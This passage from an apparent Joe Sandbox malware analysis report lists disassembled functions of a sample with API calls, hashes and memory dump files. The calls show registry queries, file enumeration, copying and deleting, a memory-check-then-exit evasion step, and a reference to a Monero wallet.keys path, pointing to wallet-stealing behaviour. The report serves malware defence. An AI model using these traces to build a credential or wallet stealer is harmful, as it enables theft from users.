Part of subcall function 00294570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00294580
Part of subcall function 00294570: RtlAllocateHeap.NTDLL(00000000), ref: 00294587
Part of subcall function 00294570: wsprintfA.USER32 ref: 002945A6
Part of subcall function 00294570: FindFirstFileA.KERNEL32(?,?), ref: 002945BD

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: c432359d23953ed485be9ba7c4dd0e253b0cc549677a5b1840d5f83dec8092f7
Instruction ID: e31782e9393e11e4876824f865f15498aa05c04318c3efbffd5cdc5f9c50d8da
Opcode Fuzzy Hash: c432359d23953ed485be9ba7c4dd0e253b0cc549677a5b1840d5f83dec8092f7
Instruction Fuzzy Hash: 0F319FB291021CA7DF10FBB0DC86EE9737CAB48304F444598B31996081EE749799CFA6

Function 00281220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0028123E
__aulldiv.LIBCMT ref: 00281258
__aulldiv.LIBCMT ref: 00281266
ExitProcess.KERNEL32 ref: 00281294

Strings

@, xrefs: 00281233

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 756e77a5d0fc62681e3ab70d77e7d0d36ff0500ed55a168dc32577a6bad5881c
Instruction ID: 33f8301fd553b9617c874ccce419f559a4d3fb3d7a259cfc85fe8cd7952eb5d9
Opcode Fuzzy Hash: 756e77a5d0fc62681e3ab70d77e7d0d36ff0500ed55a168dc32577a6bad5881c
Instruction Fuzzy Hash: E50162B0D51308BAEF10EFD0CC49F9DB77CAB04705F208058EB05B62C4D77455618B59

Function 002970D0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 140COMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

memset.MSVCRT ref: 0029716A

Strings

s), xrefs: 00297111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0029718C
s), xrefs: 002972AE, 00297179, 0029717C

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpymemset
String ID: s)$s)$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 4047604823-2899572197
Opcode ID: 8d6a879dc6ab31b3ae0facca0fd1aa10ce857d60afcf48c821fafb301d99514c
Instruction ID: 4f40e0a973defb3faca7c37406d83cecc5ace6caff52516dad111cdde8700974
Opcode Fuzzy Hash: 8d6a879dc6ab31b3ae0facca0fd1aa10ce857d60afcf48c821fafb301d99514c
Instruction Fuzzy Hash: 9D516EB0C342199BDF14EB90DC86BEEB374AF54304F6041A8E61976181EF746E98CF59

Function 6C66C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C66C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C66C969
GetSystemInfo.KERNEL32(?), ref: 6C66C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C66C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C66C9E2

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction ID: 8beecf542c0bdd91edfb1ad2115f65f53b1c160ab50849b684cb1bda7047f29d
Opcode Fuzzy Hash: 806fa9ef3eff5ea6525273a450e0815cbe3cf0fefe36be85dbd594e156b38404
Instruction Fuzzy Hash: 5221C531741A147BDB14AE67CCC4BAE72B9AB86744F50061AF903A7E80DB60780087AE

Function 00297E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00297E37
RtlAllocateHeap.NTDLL(00000000), ref: 00297E3E
RegOpenKeyExA.KERNEL32(80000002,00E3B888,00000000,00020119,?), ref: 00297E5E
RegQueryValueExA.KERNEL32(?,00E4D2D8,00000000,00000000,000000FF,000000FF), ref: 00297E7F
RegCloseKey.ADVAPI32(?), ref: 00297E92

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: d2c670ccc043f6bc4021cba1fb3b9f6eae02200ac79d5837ea031299b562111d
Instruction ID: 47d29ca7c00dc5bf786b21bdc4aa6c093dbe12777aa0ca75df26ad5682e6fca2
Opcode Fuzzy Hash: d2c670ccc043f6bc4021cba1fb3b9f6eae02200ac79d5837ea031299b562111d
Instruction Fuzzy Hash: 9911A0B1A54209EBDB00DF95DD49FBBBBB8FB04B04F104129F605A7280D7B458108BA5

Function 002812A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 002812B4
RtlAllocateHeap.NTDLL(00000000), ref: 002812BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 002812D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 002812F5
RegCloseKey.ADVAPI32(?), ref: 002812FF

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 42ba59e7c6534b8ce8438af558d311b46d4b5044691c39660d7881fa16d59197
Instruction ID: cc040ad34ffd1c1f0128f91def8b4e078d4eb78a7700c5f9978422f8a95f2543
Opcode Fuzzy Hash: 42ba59e7c6534b8ce8438af558d311b46d4b5044691c39660d7881fa16d59197
Instruction Fuzzy Hash: 7A011DB9A4020CBBDB00DFE0DC49FAEB7B8EB48705F008169FA0597280D6709A158B65

Function 0028A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00E48A20,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0028A0BD
LoadLibraryA.KERNEL32(00E4D0B8), ref: 0028A146

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A820: lstrlen.KERNEL32(00284F05,?,?,00284F05,002A0DDE), ref: 0029A82B
Part of subcall function 0029A820: lstrcpy.KERNEL32(002A0DDE,00000000), ref: 0029A885

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

SetEnvironmentVariableA.KERNEL32(00E48A20,00000000,00000000,?,002A12D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,002A0AFE), ref: 0028A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0028A0B2, 0028A0C6, 0028A0DC

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 472d888ad12f7db559ca2762917eb1445324766bd0fca78fb1c6425b5fafcaf6
Instruction ID: ab335d51b3df64280122648fc169d7af1081cd2077fee60e49a0258567357a8c
Opcode Fuzzy Hash: 472d888ad12f7db559ca2762917eb1445324766bd0fca78fb1c6425b5fafcaf6
Instruction Fuzzy Hash: 134173B5A222089FDB84EFA4EC4AFA93374BB04309F184139F545932A0DB359975CF97

Function 0028A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

Part of subcall function 00298B60: GetSystemTime.KERNEL32(002A0E1A,00E49FA8,002A05AE,?,?,002813F9,?,0000001A,002A0E1A,00000000,?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 00298B86

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0028A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0028A3FF
lstrlen.KERNEL32(00000000), ref: 0028A6BC

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

DeleteFileA.KERNEL32(00000000), ref: 0028A743

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
